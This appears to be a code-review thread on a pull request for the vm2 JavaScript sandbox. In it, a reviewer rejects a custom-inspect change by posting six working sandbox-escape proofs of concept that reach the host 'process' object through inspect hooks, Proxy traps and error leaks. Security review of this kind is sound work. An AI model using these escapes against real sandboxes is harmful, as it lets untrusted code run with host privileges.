custom inspector for objects, fix #314

[shigma]

No description provided.

[XmiliaH]

This is unsafe. The instance object is from the sandbox and is passed into the host function inspect. This can be used to escape the sandbox. Here custom implementations inside the sandbox are required.

[shigma]

I'm sorry. Can you please provide an example to escape?

[XmiliaH]

Here you go:

const vm = new VM();
const code = '(' + function() {
    const customInspect = Symbol.for('nodejs.util.inspect.custom');
    Date.prototype[customInspect] = (depth, options) => {throw options.constructor.constructor('return process')()};
    return new Date();
}+')();';
const bad_object = vm.run(code);
console.log("Still good");
console.log(bad_object);
console.log("Logging is bad");

[shigma]

I will do

if (key === host.inspect.custom) {
	return (depth, options) => {
+		depth = Decontextify.value(depth);
+		options = Decontextify.value(options);
+		try {
			return host.inspect(instance, options.showHidden, depth, options.colors);
+		} catch (e) {
+			throw Decontextify.value(e);
+		}
	};
}

if other escaping behavior happen.

[XmiliaH]

Sorry, but thats just wrong. First, options is a host object, so it would require Contextify. Second, the escape still works since instance is required to be Decontextified before being passed to host.inspect and depth and options require noting. Since host.inspect throws a host excpetion, try ... catch should not Decontextify that exception.

[XmiliaH]

Instead of calling host.inspect you should try an approach as in shigma@9696f11.
However, only in the Decontextify part and don't forget to Decontextify the value of inspectCustom(toStringTag);

[shigma]

OK, I will try the other branch later.

Also I found something interesting. I was just not able to reproduce your escaping code because I use Node 14.7. Actually Node 14.6 will protect custom inspect functions for vm (nodejs/node@e0206bafe6, v14.5 -> v14.6).

Maybe we can enable this feature only for Node v14.6 or above?

[XmiliaH]

Breakout for node v14.8.0:

const vm = new VM();
const code = '(' + function() {
    Object.defineProperty(Date, "name", {
        writable: true,
        configurable: true,
        enumerable: false,
        value: Symbol.hasInstance
    })
    return {
        __proto__: Date.prototype,
        constructor: Date,
        onError(e) {
            throw e.constructor.constructor("return process;")();
        }
    }
} + ')();';
const bad_object = vm.run(code);
console.log("Still good");
try {
    console.log(bad_object);
} catch (e) {
    bad_object.onError(e);
}
console.log("Logging is bad");

The node solution isn't safe.

[shigma]

The lastest commit will work if anything thrown by inspect is either an Error from the outside or something from the sandbox. However I'm not sure if one can get something else from the catch block.

[XmiliaH]

Still broken:

const vm = new VM();
const code = '(' + function() {
    const customInspect = Symbol.for('nodejs.util.inspect.custom');
    Date.prototype[customInspect] = (depth, options) => {
        const s = options.stylize;
        function do_recursive() {
            try {
                s();
            } catch(e) {
                return e;
            }
            const r = do_recursive();
            if (r) return r;
            throw null;
        }
        throw do_recursive().constructor.constructor("return process;")();
    }
    return new Date();
}+')();';
const bad_object = vm.run(code);
console.log("Still good");
console.log(bad_object);
console.log("Logging is bad");

using host's inspect is to unsafe.

[shigma]

Sorry to disturb you but I would like to try a few more times. This is a precious experience for me.

[XmiliaH]

Just one way the change is broken:

const vm = new VM();
const code = '(' + function() {
    const d = new Date();
    d.onError = (e) => {
        throw e(_=>_);
    }
    return new Proxy(d, {
        has(target, key) {
            throw (f) => f.constructor("return process;")();
        }
    });
}+')();';
const bad_object = vm.run(code);
console.log("Still good");
try{
    console.log(bad_object);
}catch(e) {
    bad_object.onError(e);
}
console.log("Logging is bad");

[XmiliaH]

And another way:

const vm = new VM();
const code = '(' + function() {
    const customInspect = Symbol.for('nodejs.util.inspect.custom');
    Date.prototype[customInspect] = (depth, options) => {
        const s = options.stylize;
        function do_recursive() {
            try {
                s();
            } catch(e) {
                return e;
            }
            const r = do_recursive();
            if (r) return r;
            throw null;
        }
        throw do_recursive().constructor.constructor("return process;")();
    }
    return new Proxy(new Date(), {
        has(target, key) {
            return false;
        }
    });
}+')();';
const bad_object = vm.run(code);
console.log("Still good");
console.log(bad_object);
console.log("Logging is bad");

[XmiliaH]

Now this works:

const vm = new VM();
const code = '(' + function() {
    Object.assign = (_, leak) => {
        const s = leak.stylize;
        function do_recursive() {
            try {
                s();
            } catch(e) {
                return e;
            }
            const r = do_recursive();
            if (r) return r;
            throw null;
        }
        throw do_recursive().constructor.constructor("return process;")();
    };
    return new Date();
}+')();';
const bad_object = vm.run(code);
console.log("Still good");
console.log(bad_object);
console.log("Logging is bad");

[stale]

This issue has been automatically marked as stale because it has not had recent activity. It will be closed if no further activity occurs. Thank you for your contributions.